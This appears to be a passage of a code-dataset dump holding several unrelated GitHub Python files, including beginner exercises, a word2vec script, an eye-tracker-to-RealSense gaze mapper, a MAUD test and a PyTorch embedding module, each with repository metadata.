exportor.export(row0, file)\n","repo_name":"gongfei6644/gongfei","sub_path":"renting-std/tools/export_deviation_data.py","file_name":"export_deviation_data.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37932608912","text":"#!/usr/bin/python\n# @file mcmock_utils.py\n# @author matthew.denis.conway@gmail.com\n# @description Utility functions used by mcmock mock generation scripts\n\n\nfrom __future__ import print_function\nimport sys\nfrom mcmock_types import Parameter, ParameterType\n\n\ndef mcmock_utils_convert_params_list_to_string( parameters ):\n parameter_string = ' '\n i=0\n if len(parameters) == 0:\n parameter_string = ' void '\n else:\n while i<len( parameters ):\n if parameters[i].type() == ParameterType.PARAMETER_FUNCTION_POINTER:\n parameter_string += parameters[i].data_type()\n elif parameters[i].type() == ParameterType.PARAMETER_VA_LIST:\n parameter_string += parameters[i].data_type()\n else:\n parameter_string += parameters[i].data_type() + ' ' + parameters[i].name()\n i+=1\n if ( i < len( parameters ) ):\n parameter_string += ', '\n else:\n parameter_string += ' '\n return parameter_string\n\n\n# Function to strip the constness of a variable; this will ensure we can store\n# things like constant pointers\ndef mcmock_utils_strip_constness( variable_data_type ):\n result = variable_data_type\n vdt_split = variable_data_type.split( ' ' )\n if ( vdt_split[-1] == \"const\" ):\n result = \" \".join( vdt_split[0:-1] )\n return result\n\n\n# Function to print to stderr and terminate\ndef exit_on_error( *args, **kwargs ):\n print(\"mCmock:\",*args, file=sys.stderr, **kwargs)\n sys.exit( 1 )\n\n\n# Function to print to stderr\ndef eprint(*args, **kwargs):\n print(\"mCmock:\",*args, file=sys.stderr, **kwargs)\n\n\n# Function to print to stdout\ndef sprint(*args, **kwargs):\n print(\"mCmock:\",*args, file=sys.stdout, **kwargs)\n","repo_name":"mattconway1984/mcmock","sub_path":"scripts/mcmock_utils.py","file_name":"mcmock_utils.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35357221811","text":"# IF ELSE CONDITION\n\"\"\"var1 = 20\nvar2 = 30\nvar3 = int(input(\"enter the number : \"))\nif var3>var2:\n print(\"it's greater\")\nelif var3==var2:\n print(\"it's equal\")\nelse:\n print(\"it's lesser\")\"\"\"\n####################################\n\"\"\"list = [4, 5, 6, 7, 8]\nprint(77 in list)\nif 77 not in list:\n print(\"no it's not in the list\")\"\"\"\n\n\n#######################135571212442.2056400.0012/////????????????????????????\n\"\"\"list1 = [1, 2, 3, 4]\nvar1 = input(\"Enter the value : \")\n#print(var1 in list1)\nif var1 in list1:\n print(\"yes it's in the list1\")\nelif var1 not in list1:\n print(\"no it's not in the list1\")\"\"\"\n\n#???????????????????????????????????????????????????????????????????????????????\n\n #QUESTION:- solved\nvar1 = int(input(\"inter your ege : \"))\n\nwhile var1 < 60 and var1>=18:\n var1 = var1 + 1\n print(\"now you can drive the car!\")\n break\n\nif var1<18:\n print(\" now your ege is no required for driving\")\n\nelif var1>60:\n print(\"now you are too old for driving, so you can't\")\n\nelif var1==60:\n print(\"Now we can not decide \")\n\n\n\n\n\n\n\n","repo_name":"ravindrapaswan2762/Python_Programs","sub_path":"tudes13.py","file_name":"tudes13.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"22598909583","text":"\nimport numpy as np\nimport gensim\nimport string\nimport re\nimport collections\nimport logging\nfrom matplotlib import pyplot as plt\nfrom sklearn.manifold import TSNE\nimport time\n\nae_size = 250\n\n#logging setup\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\n\n#load 20 newsgroups dataset\nprint(\"loading dataset\")\n# dataset = fetch_20newsgroups(subset='all',remove=('headers', 'footers', 'quotes')).data\n# dataset = ' '.join(dataset)\n# dataset = unicodedata.normalize('NFKD', dataset).encode('ascii','ignore')\ndesired_file = open('./wilde_pictureofdoriangray.txt', 'r')\ndataset = desired_file.read()\ndesired_file.close()\n\n#convert dataset to list of sentences\nprint(\"converting dataset to list of sentences\")\nsentences = re.sub(r'-|\\t|\\n',' ',dataset)\n# sentences = sentences.lower()\nfor meh in re.findall(\"([A-Z]+)\", sentences):\n sentences = sentences.replace(meh, meh.lower())\n# sentences = sentences.replace(',\"', '.\"') # replace the commas before quotation marks with periods.\nsentences = re.sub(',\"', '.\"', sentences)\nsentences = re.sub('\"', '', sentences)\nsentences = re.sub('\\.\\.\\.', '', sentences)\n\nsentences = re.sub(',', ' COMMA', sentences) # add period token\nsentences = re.sub('\\.', ' PERIOD_TOKEN', sentences)\nsentences = re.sub('\\?', ' QUESTION_TOKEN', sentences)\nsentences = re.sub('\\!', ' EXCLAMATION_TOKEN', sentences)\nsentences = re.split('_TOKEN', sentences)\nsentences = [sentence.translate(string.punctuation).split() for sentence in sentences]\n\nprint(len(sentences)) # number of sentences\n# 2D list to 1D list.\nwords = [j for i in sentences for j in i]\nprint(len(words))\nprint(len(list(set(words)))) # number of unique words\n\nstop\n\n#train word2vec\nprint(\"training word2vec\")\na = time.time()\nmodel = gensim.models.Word2Vec(sentences, min_count=5, size=ae_size, workers=4)\nmodel.train(sentences, epochs=100, total_examples=len(sentences))\nb = time.time()\nprint('Training time elapsed: {} s'.format(b-a))\n\n## Create a modified text. ##\n# sentences = [j for i in sentences for j in i]\nwords = list(model.wv.vocab)\nff = open('./wilde_pictureofdoriangray_tokenized.txt', 'w')\nfor index in range(len(sentences)):\n sentence = sentences[index]\n for word_index in range(len(sentence)):\n word = sentence[word_index]\n if word not in words:\n sentence[word_index] = 'UNKNOWN'\n ff.write(' '.join(sentence))\n ff.write('\\n')\nff.close()\n\nprint(\"loading dataset\")\n# dataset = fetch_20newsgroups(subset='all',remove=('headers', 'footers', 'quotes')).data\n# dataset = ' '.join(dataset)\n# dataset = unicodedata.normalize('NFKD', dataset).encode('ascii','ignore')\ndesired_file = open('./wilde_pictureofdoriangray_tokenized.txt', 'r')\ndataset = desired_file.read()\ndesired_file.close()\n\n#convert dataset to list of sentences\nprint(\"converting dataset to list of sentences\")\nsentences = re.sub(r'-|\\t',' ',dataset)\nsentences = sentences.split('\\n')\nempty = []\nfor sentence in sentences:\n words = sentence.split()\n if words == []:\n continue\n empty += [words]\nsentences = empty\n\n#train word2vec\nprint(\"training word2vec\")\na = time.time()\n# model = gensim.models.Word2Vec(sentences, min_count=5, size=ae_size, workers=4)\n# model.train(sentences, epochs=100, total_examples=len(sentences))\nb = time.time()\nprint('Training time elapsed: {} s'.format(b-a))\n\n#get most common words\nprint(\"getting common words\")\ndataset = [item for sublist in sentences for item in sublist]\ncounts = collections.Counter(dataset).most_common(500)\n\n#reduce embeddings to 2d using tsne\nprint(\"reducing embeddings to 2D\")\nembeddings = np.empty((500, ae_size))\nfor i in range(500):\n embeddings[i,:] = model[counts[i][0]]\ntsne = TSNE(perplexity=30, n_components=2, init='pca', n_iter=7500)\nembeddings = tsne.fit_transform(embeddings)\n\n#plot embeddings\nprint(\"plotting most common words\")\nfig, ax = plt.subplots(figsize=(30, 30))\nfor i in range(500):\n ax.scatter(embeddings[i,0],embeddings[i,1])\n ax.annotate(counts[i][0], (embeddings[i,0],embeddings[i,1]))\n\n#save to disk\nplt.savefig('w2v_visualization_1kiter_tokenized.png')\n\nmodel.save('1kiter_w2v_model_tokenized.gensim')\n# stop\n\n# model = gensim.models.Word2Vec.load('./10kiter_w2v_model.gensim')\n#\n# limit = 25\n# sentence_number = 50\n#\n# index2word = model.wv.index2word\n# word2index = {}\n# for i in range(len(index2word)):\n# word2index[index2word[i]] = i\n\n# Sentence Generation\n# print(sentences)\n# num_words = len(model.wv.vocab)\n# max_words = 60\n# print(num_words)\n# for i in range(sentence_number):\n# index = np.random.randint(num_words)\n# string = [model.wv.index2word[index]]\n# # while True:\n# for j in range(max_words):\n# maybe = model.predict_output_word(string, topn=limit)\n# # print(maybe)\n# # randomizer = np.random.randint(len(maybe))\n# for j in range(limit):\n# if maybe[j][0] in string:\n# continue\n# else:\n# string += [maybe[j][0]]\n# break\n# if (maybe[j][0] == 'PERIOD' or maybe[j][0] == 'QUESTION' or maybe[j][0] == 'EXCLAMATION'):\n# break\n# if ('PERIOD' in string or 'QUESTION' in string or 'EXCLAMATION' in string):\n# print(' '.join(string))\n# break\n# if j >= limit:\n# print(' '.join(string))\n# break\n# print(' '.join(string))\n","repo_name":"HoliestCow/ece692_deeplearning","sub_path":"project4/cbow_generator.py","file_name":"cbow_generator.py","file_ext":"py","file_size_in_byte":5389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10580559933","text":"import timeit\nimport cProfile\n\ndef prime_number(n):\n lst = []\n k = 0\n for num in range(2, n):\n for i in range(2, num):\n if num % i == 0:\n k += 1\n if k > 0:\n break\n if k == 0:\n lst.append(num)\n else:\n k = 0\n return lst\n\n\nresult = prime_number(1000)\n#print(result)\n\nprint(timeit.timeit('prime_number(10)', number=1000, globals=globals())) # 0.006380903000000007\nprint(timeit.timeit('prime_number(100)', number=1000, globals=globals())) # 0.18948142099999998\nprint(timeit.timeit('prime_number(1_000)', number=1000, globals=globals())) # 11.034482357\nprint(timeit.timeit('prime_number(10_000)', number=1000, globals=globals())) # 868.599012646\n\ncProfile.run('prime_number(10_000)')\n\n\"\"\"\n1233 function calls in 0.894 seconds\n\n Ordered by: standard name\n\n ncalls tottime percall cumtime percall filename:lineno(function)\n 1 0.000 0.000 0.894 0.894 <string>:1(<module>)\n 1 0.893 0.893 0.894 0.894 les_4_task_2_2.py:4(prime_number)\n 1 0.000 0.000 0.894 0.894 {built-in method builtins.exec}\n 1229 0.000 0.000 0.000 0.000 {method 'append' of 'list' objects}\n 1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects}\n\"\"\"\n\"\"\"\nПри тестировании видно не линейную зависимость, при увеличении диапазона в 10 раз, \nувеличивается и время выполнение в 100 раз, а при увеличении диапазона в 100 раз \nувеличилось время выполнения в 10_000 раз.\nПроседание происходит при многократном вызове метода 'append'\nНе самая лучшая идея использовать метод 'append' при большом диапазоне.\n\"\"\"","repo_name":"foxtps/algorithms_python","sub_path":"les_4/les_4_task_2_2.py","file_name":"les_4_task_2_2.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36073905060","text":"# ESTRUCTURAS DE CONTROL:\n\n# if - else\n\n\n# condicion = True\n\n# if condicion:\n# print('Condicion Verdadera')\n# else:\n# print('Condicion Falsa')\n \n# if - elif - else (if anidado)\n\n# condicion = True\n\n# if condicion == True:\n# print('Condicion Verdadera')\n# elif condicion == False:\n# print('Condicion Falsa')\n# else:\n# print('Condicion no reconocida')\n\n\n\n# EJERCICIO: Conversion de Numero a Texto\n\n# numero = int(input('Ingresa un valor entre 1 y 3: '))\n# numeroTexto = ''\n\n# if numero == 1:\n# numeroTexto = 'Número uno'\n# elif numero == 2:\n# numeroTexto = 'Número dos'\n# elif numero == 3:\n# numeroTexto = 'Número tres'\n# else:\n# numeroTexto = 'Valor fuera de rango'\n \n# print(f'''\n# Número ingresado: {numero}\n# Número a String: {numeroTexto}\n# ''')\n\n\n# OPERADOR TERNARIO: Solo recomendado cuando el codigo es pequeño\n\n# condicion = True\n\n# if tradicional\n# if condicion:\n# print('Condicion Verdadera')\n# else:\n# print('Condicion Falsa')\n\n#Operador Ternario\n\n# print('Condicion Verdadera') if condicion else print('Condicion Falsa')\n\n#EJERCICIO: Estacion segun mes del año\n\n# mes = int(input('Ingresa el mes del año (1-12): '))\n# estacion = None\n\n'''if mes == 1 or mes == 2 or mes == 12:\n estacion = 'Verano'\nelif mes == 3 or mes == 4 or mes == 5:\n estacion = 'Otoño'\nelif mes == 6 or mes == 7 or mes == 8:\n estacion = 'Invierno'\nelif mes == 9 or mes == 10 or mes == 11:\n estacion = 'Primavera'''\n \n# if simplificado\n\n'''if mes == 12 or 1 <= mes <= 2:\n estacion = 'Verano'\nelif 3 <= mes <= 5:\n estacion = 'Otoño'\nelif 6 <= mes <= 8:\n estacion = 'Invierno'\nelif 9 <= mes <= 11:\n estacion = 'Primavera'\nelse: \n print('Mes ingresado inválido')\n\nprint(f'Para el mes {mes} la estacion es: {estacion}')'''\n\n# EJERCICIO: Etapas de la vida segun la edad\n\n'''\n0-10: La infancia es increible...\n10-20: Muchos cambios y mucho estudio...\n20-30: Amor y comienza el trabajo...\nOtro valor: Etapa de vida no reconocida\n'''\n\n'''\nedad = int(input('Ingrese la edad: '))\netapa = None\n\nif 0 <= edad < 10:\n etapa = 'La infancia es increíble...' \nelif 10 <= edad < 20:\n etapa = 'Muchos cambios y mucho estudio...'\nelif 20 <= edad < 30:\n etapa = 'Amor y comienza el trabajo...'\nelse:\n etapa = 'Etapa de vida no reconocida.'\n\nprint(f'Tu edad es: {edad}, {etapa}')\n'''\n\n# EJERCICIO: Sistema de calificaciones\n'''\nInstrucciones: \nEl objetivo del ejercicio es crear un sistema de calificaciones, como sigue:\nEl usuario proporcionara un valor entre 0 y 10.\n- Si esta entre 9-10: imprimir una A\n- Si esta entre 8 y menor a 9: imprimir una B\n- Si esta entre 7 y menor a 8: imprimir una C\n- Si esta entre 6 y menor a 7: imprimir una D\n- Si esta entre 0 y menor a 6: imprimir una F\n- Cualquier otro valor: imprimir \"Valor incorrecto\"\n'''\n\nnum = float(input('Ingresa un valor: '))\nnota = None\n\nif 9 <= num <= 10:\n nota = 'A'\nelif 8 <= num < 9:\n nota = 'B' \nelif 7 <= num < 8:\n nota = 'C' \nelif 6 <= num < 7:\n nota = 'D' \nelif 0 <= num < 6:\n nota = 'F' \nelse:\n nota = 'Valor incorrecto' \n\nprint(f'Tu calificacion es: {nota} ')\n\n \n","repo_name":"franbizzarri/Universidad-Python","sub_path":"Python/Leccion-03/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3148,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23101312739","text":"import zmq\nimport msgpack\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nimport pyrealsense2 as rs\nfrom PIL import Image\nimport threading\n\ndef fetch_realsense_frame(pipeline, align, aligned_depth_frame, color_frame):\n frames = pipeline.wait_for_frames()\n aligned_frames = align.process(frames)\n aligned_depth_frame_object = aligned_frames.get_depth_frame()\n color_frame[0] = aligned_frames.get_color_frame()\n # Hole filling to get a clean depth image\n hole_filling = rs.hole_filling_filter()\n aligned_depth_frame[0] = hole_filling.process(aligned_depth_frame_object)\n\ndef fetch_gaze_vector(subscriber, avg_gaze):\n while True:\n topic, payload = subscriber.recv_multipart()\n message = msgpack.loads(payload)\n gaze_point_3d = message[b'gaze_point_3d']\n avg_gaze[:] = gaze_point_3d\n\nctx = zmq.Context()\n# The REQ talks to Pupil remote and receives the session unique IPC SUB PORT\npupil_remote = ctx.socket(zmq.REQ)\nip = 'localhost' # If you talk to a different machine use its IP.\nport = 50020 # The port defaults to 50020. Set in Pupil Capture GUI.\npupil_remote.connect(f'tcp://{ip}:{port}')\n# Request 'SUB_PORT' for reading data\npupil_remote.send_string('SUB_PORT')\n\nsub_port = pupil_remote.recv_string()\n# Request 'PUB_PORT' for writing data\npupil_remote.send_string('PUB_PORT')\npub_port = pupil_remote.recv_string()\nsubscriber = ctx.socket(zmq.SUB)\nsubscriber.connect(f'tcp://{ip}:{sub_port}')\nsubscriber.subscribe('gaze.') # receive all gaze messages\n\n\n# Defining variables for Intel RealSense Feed\nimage_width = 640\nimage_height = 480\nfps = 15\n# Create an Intel RealSense pipeline\npipeline = rs.pipeline()\nconfig = rs.config()\nconfig.enable_stream(rs.stream.depth, image_width, image_height, rs.format.z16, fps)\nconfig.enable_stream(rs.stream.color, image_width, image_height, rs.format.rgb8, fps)\nconfig.enable_stream(rs.stream.accel)\nconfig.enable_stream(rs.stream.gyro)\nprofile = pipeline.start(config)\n# Create an align object: rs.align allows us to perform alignment of depth frames to others frames\n# The \"align_to\" is the stream type to which we plan to align depth frames.\nalign_to = rs.stream.color\nalign = rs.align(align_to)\ncolorizer = rs.colorizer()\n\n# Streaming loop\nfor i in list(range(20)):\n frames = pipeline.wait_for_frames()\n\nM_t = np.array([[0.98323309, -0.03063463, 0.17976155, -0.05710686],\n [ 0.03361795, 0.9993426, -0.01357236, -0.02003963],\n [-0.17922759, 0.01938801, 0.98361658, 0.01666406]])\n\ntvec = M_t[:,-1]\nrvec, jacobian = cv2.Rodrigues(M_t[:,:3])\n\n\ninvertible_M_t = np.concatenate([M_t, np.array([0,0,0,1]).reshape(1,4)], axis=0)\nM_t_inverse = np.linalg.inv(invertible_M_t)\n\nrealsense_intrinsics_matrix = np.array([[609.87304688, 0. , 332.6171875 ],\n [ 0. , 608.84387207, 248.34165955],\n [ 0. , 0. , 1. ]])\n\nframe_counter = 0\navg_gaze = [0,0,0]\naligned_depth_frame = [None]\ncolor_frame = [None]\n\n# Thread runs infinetly\nt1 = threading.Thread(target=fetch_gaze_vector, args=(subscriber, avg_gaze))\nt1.start()\n\ntry:\n while True:\n # Getting an RGB and Depth frame from RealSense Camera - THREAD 2\n frames = pipeline.wait_for_frames()\n aligned_frames = align.process(frames)\n aligned_depth_frame_object = aligned_frames.get_depth_frame()\n color_frame[0] = aligned_frames.get_color_frame()\n # Hole filling to get a clean depth image\n hole_filling = rs.hole_filling_filter()\n aligned_depth_frame[0] = hole_filling.process(aligned_depth_frame_object)\n # t2 = threading.Thread(target=fetch_realsense_frame, args=(pipeline, align, aligned_depth_frame, color_frame))\n # t2.start()\n # t2.join() # Wait until the frame is capture from the RealSense camera before moving on\n if not aligned_depth_frame[0] or not color_frame[0]:\n continue\n frame_counter += 1\n color_image = np.asanyarray(color_frame[0].get_data())\n realsense_world_view = cv2.cvtColor(color_image, cv2.COLOR_RGB2BGR)\n\n gaze_points = np.array(avg_gaze).reshape(-1, 1, 3)\n gaze_points_realsense_image, jacobian = cv2.projectPoints(gaze_points, rvec, tvec, realsense_intrinsics_matrix, None)\n gaze_x_realsense, gaze_y_realsense = gaze_points_realsense_image.squeeze().astype('uint16')\n\n # gaze_vector = list(avg_gaze)\n # gaze_vector.append(1)\n # gi = np.array(gaze_vector).reshape(4, 1)\n # gaze_points_realsense_world = np.dot(invertible_M_t, gi) # 3D points. Need to project to the image plane using\n # # realsense intrinsincs\n # gaze_points_realsense_image = np.dot(realsense_intrinsics_matrix, gaze_points_realsense_world[:3])\n # gaze_points_realsense_image = gaze_points_realsense_image / gaze_points_realsense_image[-1]\n\n # gaze_x_realsense, gaze_y_realsense, _ = gaze_points_realsense_image.squeeze().astype('uint16')\n realsense_world_view = cv2.circle(realsense_world_view, (gaze_x_realsense, gaze_y_realsense), 20, (255, 0, 255), 3)\n realsense_world_view = cv2.circle(realsense_world_view, (gaze_x_realsense, gaze_y_realsense), 2, (255, 0, 255), 2)\n cv2.imshow('Eye Tracker Calibration', realsense_world_view)\n cv2.waitKey(1)\nexcept KeyboardInterrupt:\n pass\nfinally:\n cv2.destroyAllWindows()\n","repo_name":"Mena-SA-Kamel/eye_tracker_calibration","sub_path":"pupil_to_realsense_mapper.py","file_name":"pupil_to_realsense_mapper.py","file_ext":"py","file_size_in_byte":5500,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"41070039374","text":"# test_with_unittest.py\n\nimport os\nimport sys\nfrom MILK.data.examples import maudBatch\nfrom MILK.MAUDText import callMaudText\nimport tempfile\nfrom changeDirectory import cd\nfrom pathlib import Path\n\ndef write_ins(fname='fecu.ins'):\n with open(fname, \"w\") as fID:\n fID.write('_maud_working_directory\\n')\n\n fullpath = f\"{os.getcwd()}\"\n if \"win\" in sys.platform:\n fullpath = fullpath.replace('\\\\', '\\\\\\\\')\n fullpath = f\"{os.getcwd()}{os.sep}\"\n\n fID.write('\\''+fullpath+'\\'\\n')\n fID.write('\\n')\n fID.write('loop_\\n')\n fID.write('_riet_analysis_file\\n')\n fID.write('_riet_analysis_iteration_number\\n')\n fID.write('_riet_analysis_wizard_index\\n')\n fID.write('_riet_analysis_fileToSave\\n')\n fID.write('_riet_meas_datafile_name\\n')\n fID.write('_riet_append_simple_result_to\\n')\n fID.write('\\'FeCustart.par\\' 7 13 \\'FECU1010.par\\' \\'FECU1010.UDF\\' \\'FECUresults.txt\\'\\n')\n\ndef test_maudbatch():\n \"\"\"Tests the first example, \"maud batch\"\n Writes the customized .ins file for the working directory where maudbatch exists in the \n operating system format.\n Writes the first run only to be run for test purposes.\n\n Windows GitHub Runner has special character \"runner~1\" that causes issues, so not using the temporary diretory.\n \"\"\"\n if \"win\" in sys.platform and \"dar\" not in sys.platform:\n cwdDir = os.getcwd()\n maudBatch(CUR_DIR = cwdDir)\n with cd(\"maudbatch\"):\n write_ins()\n callMaudText.run_MAUD(\n os.getenv('MAUD_PATH').strip(\"'\"),\n \"mx8G\",\n 'False',\n None,\n 0,\n 1,\n \"fecu.ins\")\n \n # fetch various system conditions for debugging\n examplefiles = [ f for f in os.listdir( os.curdir ) if os.path.isfile(f) ]\n filesMaud = [f for f in os.listdir(os.getenv('MAUD_PATH').strip(\"'\")) if os.path.isfile(f)]\n with open('fecu.ins') as f:\n inslines = f.read()\n\n try:\n assert 'FECU1010.par' in examplefiles\n except AssertionError as e:\n print(inslines)\n print(examplefiles)\n print(filesMaud)\n print(os.getenv('MAUD_PATH').strip(\"'\"))\n \n try:\n from difflib import SequenceMatcher\n text1 = open('FECU1010_ref.par').read()\n text2 = open('FECU1010.par').read()\n m = SequenceMatcher(None, text1, text2)\n assert m.ratio() > 0.99\n except AssertionError as e:\n print(f'{m.ratio()}')\n else:\n with tempfile.TemporaryDirectory() as tmpdirname:\n print('created temporary directory', tmpdirname)\n with cd(tmpdirname):\n maudBatch(CUR_DIR = os.getcwd())\n with cd(\"maudbatch\"):\n write_ins()\n callMaudText.run_MAUD(\n os.getenv('MAUD_PATH').strip(\"'\"),\n \"mx8G\",\n 'False',\n None,\n 0,\n 1,\n \"fecu.ins\")\n\n examplefiles = [ f for f in os.listdir( os.curdir ) if os.path.isfile(f) ]\n filesMaud = [f for f in os.listdir(os.getenv('MAUD_PATH').strip(\"'\")) if os.path.isfile(f)]\n with open('fecu.ins') as f:\n inslines = f.read()\n\n try:\n assert 'FECU1010.par' in examplefiles\n except AssertionError as e:\n print(inslines)\n print(examplefiles)\n print(filesMaud)\n print(os.getenv('MAUD_PATH'))\n\n try:\n from difflib import SequenceMatcher\n text1 = open('FECU1010_ref.par').read()\n text2 = open('FECU1010.par').read()\n m = SequenceMatcher(None, text1, text2)\n assert m.ratio() > 0.99\n except AssertionError as e:\n print(f'{m.ratio()}')\n","repo_name":"lanl/MILK","sub_path":"tests/maudbatch_test.py","file_name":"maudbatch_test.py","file_ext":"py","file_size_in_byte":4323,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"67"} +{"seq_id":"41800094681","text":"import math\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass Embedding(nn.Embedding):\n\n def __init__(self, num_embeddings, embedding_dim, bias=False, padding_idx=None, max_norm=None, norm_type=2,\n scale_grad_by_freq=False, sparse=False, pretrain_weight=None):\n super().__init__(num_embeddings, embedding_dim, padding_idx, max_norm, norm_type, scale_grad_by_freq, sparse,\n pretrain_weight)\n if bias:\n self.bias = nn.Parameter(torch.zeros(embedding_dim))\n else:\n self.register_parameter('bias', None)\n\n def forward(self, input):\n input = super().forward(input)\n if self.bias is not None:\n input = input + self.bias\n return input\n\n\nclass SinusoidalPositionEmbedding(nn.Module):\n def __init__(self, input_size, length=5000, min_timescale=1.0, max_timescale=1.0e4):\n super().__init__()\n\n signal = get_timing_signal(input_size, length, min_timescale, max_timescale)\n\n self.register_buffer('pe', signal)\n\n def forward(self, input):\n pe = input.new(self.pe[:, :input.size(1)])\n return pe\n\n\ndef get_timing_signal(input_size, length, min_timescale=1.0, max_timescale=1.0e4):\n channels = input_size\n\n position = torch.arange(length).float()\n num_timescales = channels // 2\n log_timescale_increment = (\n math.log(float(max_timescale) / float(min_timescale)) /\n (float(num_timescales) - 1))\n inv_timescales = min_timescale * torch.exp(\n torch.arange(num_timescales).float() * -log_timescale_increment)\n scaled_time = position.unsqueeze(1) * inv_timescales.unsqueeze(0)\n signal = torch.cat([torch.sin(scaled_time), torch.cos(scaled_time)], 1)\n if input_size % 2 > 0:\n signal = F.pad(signal, (0, 1))\n signal = signal.view([1, length, channels])\n return signal\n\n\nclass LearnedPositionEmbedding(nn.Module):\n def __init__(self, input_size, max_len):\n super().__init__()\n\n self.pe = nn.Embedding(max_len, input_size)\n\n self.max_len = max_len\n\n def forward(self, input):\n length = input.size(1)\n positions = input.new_tensor(torch.arange(length)).long()\n if length > self.max_len:\n positions[self.max_len:] = self.max_len - 1\n\n pe = self.pe(positions).unsqueeze(0) # expand batch dimension\n\n return pe\n","repo_name":"DeepLearnXMU/ABDNMT-RNMT","sub_path":"thseq/nn/embedding.py","file_name":"embedding.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"67"} +{"seq_id":"7882196653","text":"import json\nimport os\n\nimport cv2\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom skimage.io import imsave\n\n\ndef convert_box(box, out_format):\n assert out_format in ['xywh', 'x1y1x2y2'], 'Invalid box format'\n\n if out_format == 'xywh':\n x1, y1, x2, y2 = box\n x = (x1 + x2) / 2\n y = (y1 + y2) / 2\n w = (x2 - x1)\n h = (y2 - y1)\n return [x, y, w, h]\n\n x, y, w, h = box\n x1 = x - (w / 2)\n y1 = y - (h / 2)\n x2 = x + (w / 2)\n y2 = y + (h / 2)\n return [x1, y1, x2, y2]\n\n\ndef draw_circle(rgb_canvas, trials=1):\n if trials > 100:\n return rgb_canvas\n H, W = rgb_canvas.shape[:2]\n\n canvas = np.uint8(~np.all(rgb_canvas == [255, 255, 255], axis=-1))\n\n max_radius = 0.20 * int(np.sqrt(H * W))\n min_radius = 0.05 * int(np.sqrt(H * W))\n\n radius = int(np.random.randint(low=min_radius, high=max_radius))\n\n x = int(np.random.randint(low=radius + 1, high=(W - radius - 1)))\n y = int(np.random.randint(low=radius + 1, high=(H - radius - 1)))\n\n new_canvas = np.zeros_like(canvas)\n new_canvas = cv2.circle(new_canvas,\n center=(x, y),\n radius=radius,\n color=1,\n thickness=-1)\n\n if np.any(np.logical_and(new_canvas, canvas)):\n return draw_circle(rgb_canvas, trials=trials + 1)\n\n colors = [[255, 0, 0], [0, 255, 0], [0, 0, 255]]\n color = colors[np.random.randint(0, 3)]\n\n x1, y1, x2, y2 = map(\n int, convert_box([x, y, 2 * radius, 2 * radius], out_format='x1y1x2y2'))\n\n return cv2.circle(rgb_canvas,\n center=(x, y),\n radius=radius,\n color=color,\n thickness=-1), {\n 'box': [x1, y1, x2, y2],\n 'category': 'circle'\n }\n\n\ndef draw_rectangle(rgb_canvas, trials=0):\n if trials > 100:\n return canvas\n\n canvas = np.uint8(~np.all(rgb_canvas == [255, 255, 255], axis=-1))\n\n H, W = canvas.shape[:2]\n smaller_side = min(H, W)\n\n min_dim = 0.15 * smaller_side\n max_dim = 0.6 * smaller_side\n\n h = int(np.random.randint(low=min_dim, high=max_dim)) / 2\n w = int(np.random.randint(low=min_dim, high=max_dim)) / 2\n\n x = int(np.random.randint(low=w + 1, high=(W - w - 1)))\n y = int(np.random.randint(low=h + 1, high=(H - h - 1)))\n x1, y1, x2, y2 = map(int, convert_box([x, y, w, h], out_format='x1y1x2y2'))\n\n new_canvas = np.zeros_like(canvas)\n new_canvas = cv2.rectangle(new_canvas,\n pt1=(x1, y1),\n pt2=(x2, y2),\n color=1,\n thickness=-1)\n\n if np.any(np.logical_and(new_canvas, canvas)):\n return draw_rectangle(rgb_canvas, trials=trials + 1)\n\n colors = [[255, 0, 0], [0, 255, 0], [0, 0, 255]]\n color = colors[np.random.randint(0, 3)]\n\n return cv2.rectangle(rgb_canvas,\n pt1=(x1, y1),\n pt2=(x2, y2),\n color=color,\n thickness=-1), {\n 'box': [x1, y1, x2, y2],\n 'category': 'rectangle'\n }\n\n\ndef create_dataset(num_samples,\n image_shape,\n max_objects=6,\n draw_fns=[draw_circle, draw_rectangle],\n save_dir=None):\n if not os.path.exists(save_dir):\n os.mkdir(save_dir)\n os.mkdir(os.path.join(save_dir, 'images'))\n elif not os.path.exists(os.path.join(save_dir, 'images')):\n os.mkdir(os.path.join(save_dir, 'images'))\n\n dataset = {}\n\n for i in tqdm(range(num_samples)):\n image_name = '{}.png'.format(i)\n objects = []\n image_path = os.path.join(save_dir, 'images', image_name)\n rgb_canvas = np.ones(shape=[h, w, 3], dtype=np.uint8) * 255\n num_objects = np.random.randint(low=1, high=max_objects + 1)\n\n for i in range(num_objects):\n fn = np.random.choice(draw_fns)\n canvas, annotation = fn(rgb_canvas)\n objects.append(annotation)\n\n imsave(image_path, rgb_canvas, check_contrast=False)\n dataset[image_name] = objects\n\n with open(os.path.join(save_dir, 'dataset.json'), 'w') as fp:\n json.dump(dataset, fp, indent=4)\n return dataset\n\n\nif __name__ == '__main__':\n h, w = 448, 448\n num_samples = 3000\n dataset = create_dataset(num_samples, [h, w], max_objects=5, 